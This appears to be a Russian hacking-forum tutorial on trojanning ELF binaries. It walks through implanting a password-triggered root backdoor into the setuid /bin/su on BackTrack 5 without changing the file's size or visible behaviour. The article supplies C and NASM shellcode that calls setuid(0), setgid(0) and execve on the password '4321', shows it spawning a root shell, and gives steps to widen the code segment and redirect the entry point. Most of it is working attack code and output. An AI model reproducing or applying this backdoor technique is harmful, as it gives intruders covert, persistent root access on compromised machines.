Трояним эльфов
Задача: Вставить в elf-файл возможность, при указании пароля, запуска произвольных команд. Размер и функционал исходного elf-файла остаются неизменными.
Часть 1. Трояним /bin/su из BackTrack 5 R1 x86 [образ VMWare BT5R1-GNOME-VM-32.7z]
1. ELF и его анатомия в контексте используемой возможности вставки троянского кода.
ELF [Execution and Linkable Format] является основным форматом бинарных исполняемых файлов в Linux и BSD. Т.е., грубо говоря, все исполняемые файлы, которые не являются текстовыми скриптами (на bash, perl, php, ...) являются бинарными файлами в формате ELF. Все суидники из /bin как раз имеют формат ELF
ELF является близким родственником/аналогом формата исполняемых файлов Windows Portable Executable (PE) и имеет схожую структуру: в начале ELF-файла расположен служебный заголовок (ELF-header), описывающий основные характеристики файла - в т.ч. виртуальный адрес точки входа, смещения(адреса) и размеры остальных заголовков/таблиц ELF-файла. За ELF-header'ом следует таблица сегментов (Program header table), перечисляющая сегменты файла и их атрибуты. Затем следуют сами сегменты. Все, что следует далее (таблица секций , секции, таблица символов, таблица строк, ...), в контексте данной статьи, нам не важно.
А вот то, что нам будет важно:
- Виртуальный адрес точки входа (Entry point) - сюда загрузчик ОС передаст управление после загрузки и инициализации файла в памяти.
- Таблица сегментов (Program header table) - описывает атрибуты сегментов (Type, Offset, VirtAddr, PhysAddr, FileSiz, MemSiz, Flg, Align - см. ниже).
- Сегмент - это непрерывный фрагмент ELF-файла, который копируется загрузчиком ОС в память создаваемого процесса со своими атрибутами доступа. В частности, сегмент кода имеет атрибуты чтения и исполнения, а сегмент данных - атрибуты чтения и записи.
Посмотреть интересующие нас данные можно с помощью readelf:
Код:
root@bt:~# readelf -l /bin/su
Elf file type is EXEC (Executable file)
Entry point 0x8049b00
There are 8 program headers, starting at offset 52
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000034 0x08048034 0x08048034 0x00100 0x00100 R E 0x4
INTERP 0x000134 0x08048134 0x08048134 0x00013 0x00013 R 0x1
[Requesting program interpreter: /lib/ld-linux.so.2]
LOAD 0x000000 0x08048000 0x08048000 0x06a38 0x06a38 R E 0x1000
LOAD 0x006efc 0x0804fefc 0x0804fefc 0x00534 0x045d8 RW 0x1000
DYNAMIC 0x006f10 0x0804ff10 0x0804ff10 0x000e0 0x000e0 RW 0x4
NOTE 0x000148 0x08048148 0x08048148 0x00044 0x00044 R 0x4
GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x4
GNU_RELRO 0x006efc 0x0804fefc 0x0804fefc 0x00104 0x00104 R 0x1
...
В выводе мы видим адрес точки входа
0x8049b00, видим что этот адрес принадлежит сегменту LOAD [
0x08048000 <
0x8049b00 <
0x08048000+
0x06a38], который начинается в файле со смещения 0x000000, имеет длину
0x06a38, проецируется в память на адрес
0x08048000 и имеет атрибуты чтение/исполнение (R
E). И, что самое приятное, видим что следующий за ним сегмент начинается со смещения
0x006efc, т.е. в ELF-файле между 0x06a38 и 0x006efc есть целых 1200 байт незанятого пространства, в которые мы можем вписать полезный нам код. Замечу, что подобный вариант (значительные промежутки свободного пространства между сегментами, вставляемые компилятором для выравнивания) встречается далеко не всегда и зависит от опций компиляции при сборке дистрибутива/бинарника. Что делать в таких случаях я напишу во второй части статьи, а сейчас вернемся к нашему /bin/su.
Схема протроянивания будет следующей:
- нужно увеличить размер исполняемого сегмента (FileSiz и MemSiz) с 0x06a38 до 0x006efc - таким образом мы получим возможность вставить в сегмент еще до 1220 байт исполняемого кода.
- нужно изменить точку входа (Entry point) на наш код, а уже из нашего кода, после выполнения нужных нам дел, перейти на оригинальную точку входа.
Теперь наша задача - написать код троянской вставки/инъекции. Нюансы написания этого кода очень сходны с написанием шелл-кода для эксплоитов - т.е. ассемблер + использование системных вызовов ядра.
2. Шелл-код для Linux ELF32
Задача: написать шелл-код, имеющий функционал, аналогичный данному:
Код:
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char **argv, char **envp)
{
if ( argc >= 3 ) // если программа запущена с покрайней мере 2-мя аргументами [./troy pass cmd]
{
if ( *(int*)(argv[1])==0x31323334 ) // сравнение первых 4-х символов первого аргумента командной строки со строкой 4321
{
setuid(0);
setgid(0);
execve(argv[2], &(argv[2]), envp);
// в случае успешного вызова execve все, что ниже, не будет исполнено т.к. вызов execve замещает(т.е. прерывает) вызывающий процесс
}
}
// во внедренном в elf коде здесь будет переход на исполнение оригинального кода
// а здесь, в целях отладки, мы вызывает exit(123)
exit(123);
}
Для получения шелл-кода нужно написать этот код на ассемблере. В шелл-коде нужно будет получить аргументы командной строки и сделать соответствующие системные вызовы [ system calls / syscall / int 80h ] для setuid, setgid, execve и exit.
Изучаем
Linux Assembly Tutorial Step-by-Step Guide, находим там следующую информацию:
# 4.3 Linux System Calls
Системные вызовы в linux вызываются через вызов прерывания int 80h, в регистр EAX заносится номер системного вызова, а аргументы (1-й, 2-й, ... ,6-й) передаются соответственно через регистры: EBX, ECX, EDX, ESI, EDI, и EBP. Если аргументов больше 6-ти, то аргументы передаются через структуру в памяти на которую указывает EBX. Результат системного вызова возвращается в регистре EAX.
# 5.1 Command Line Arguments and the Stack
При запуске программы
./program foo bar 42
стек(Stack) в точке старта (Entry point) программы будет иметь вид:
Код:
4 Количество аргументов (argc), включая имя программы
=>program указатель на строку argv[0]
=>foo указатель на строку argv[1]
=>bar указатель на строку argv[2]
=>42 указатель на строку argv[3]
затем идет 0
затем идут ссылки на переменные окружения envp[0]...envp[last]
затем идет 0
Проверим (помня что Entry point /bin/su == 0x8049b00):
Код:
root@bt:~# gdb -q --arg /bin/su foo bar 42
gdb$ b *0x8049b00
Breakpoint 1 at 0x8049b00
gdb$ r
Breakpoint 1, 0x08049b00 in ?? ()
gdb$ x/8xw $esp
0xbfce2470: 0x00000004 0xbfce3755 0xbfce375d 0xbfce3761
0xbfce2480: 0xbfce3765 0x00000000 0xbfce3768 0xbfce3788
gdb$ x/6s {int}($esp+4)
0xbfce3755: "/bin/su"
0xbfce375d: "foo"
0xbfce3761: "bar"
0xbfce3765: "42"
0xbfce3768: "ORBIT_SOCKETDIR=/tmp/orbit-root"
0xbfce3788: "SSH_AGENT_PID=1531"
=> все ок, все как и ожидалось.
Смотрим номера для setuid, setgid, execve и exit в http://bluemaster.iu.hio.no/edu/dark/lin-asm/syscalls.html. [Также номера системных вызовов можно посмотреть в unistd.h, который, например, в BackTrack 5 R1 x86 ссылается, в конечном итоге, на /usr/include/asm/unistd_32.h ]
Пишем шелл-код:
Код:
section .text
global _start
USE32
_start:
cmp [esp], dword 3 ; кол-во аргументов командной строки + 1(имя проги)
jc OriginalStart
push eax ; сохраняем изначальное значение eax
mov eax, [esp+4*(2+1)] ; адрес первого аргумента командной строки
cmp [eax], dword 31323334h ; password: 4321
pop eax
jnz OriginalStart
; Linux System Call #23: setuid (uid_t uid)
mov ebx, 0 ; uid_t uid
mov eax, 23 ; Linux System Call #23
int 80h ;
; Linux System Call #46: setgid (gid_t gid)
mov ebx, 0 ; gid_t gid
mov eax, 46 ; Linux System Call #46
int 80h ;
; Linux System Call #11: execve (const char *filename, char const argv[], char const envp[])
mov ebx, [esp+12] ; char *filename ;второй арумент командной строки
lea ecx, [esp+12] ; char const argv[]
mov eax, [esp]
inc eax
inc eax ; eax = [кол-во аргументов командной строки + 1(имя проги)] + 2
lea edx, [esp+4*eax] ; char const envp[] ;передаем enviroment (тот, что передали нам)
mov eax, 11 ; Linux System Call #11
int 80h ;
OriginalStart:
; jmp 0
; Linux System Call #1: exit (int status)
mov ebx, 123
mov eax, 1 ; Linux System Call #1
int 80h ;
Тестируем, предварительно установив nasm [apt-get install nasm]:
Код:
root@bt:~# nasm troy.asm -f elf
root@bt:~# ld troy.o
root@bt:~# ./a.out 4321 /bin/sh -c id; echo $? # 4321 - верный пароль
uid=0(root) gid=0(root) groups=0(root)
0
root@bt:~# ./a.out 321 /bin/sh -c id; echo $? # 321 - не верный пароль
123
Все протестировано, можно переходить к заключительному этапу - внедрению шелл-кода в /bin/su.
P.S. В процессе исследований/тестов активно использовался edb-debugger - отладчик бинарников без исходных текстов. Похож на виндовую ольку. В BackTrack ставится легко: "apt-get install edb-debugger".
3. Внедряем шелл-код в ELF.
Задача:
- Изменить размер исполняемого сегмента, забрав все неиспользуемое пространство между исполняемым сегментом и следующим за ним сегментом данных.
- Вставить(override) в это пространство шелл-код.
- В нашем троянском коде (в ветке перехода при неправильном пароле) сделать переход на оригинальную точку входа.
- Изменить точку входа на наш троянский код.
Для проведения всех этих операций нам понадобится Hiew - редактор двоичных файлов, ориентированный на работу с кодом, имеет встроенный ассемблер/дизассемблер для x86 и x86-64, поддержку ELF/ELF64 и возможность вставки(override) данных в произвольное место двоичных файлов - т.е. всё то, что нам надо.
Т.к. Hiew и его интерфейс зародился еще во времена ДОСа и нортон коммандера, то для человека непосвященного он, наверное, выглядит малопонятным – вся работа основана на хоткеях. Поэтому я решил в статью вставить лишь парочку основных скриншотов, а весь процесс внедрения шелл-кода в hiew «заснял» на видео, которое в аттаче к данной статье.
Окно просмотра таблицы сегментов (Program header table)
Изменяем размер исполняемого сегмента, забрав все неиспользуемое пространство между исполняемым сегментом и следующим за ним сегментом данных:
Вставляем в "освобожденное" пространство шелл-код и в ветке перехода при неправильном пароле делаем переход на оригинальную точку входа:
Изменяем точку входа на наш троянский код:
Видео, исходники, hiew и прочие файлы к статье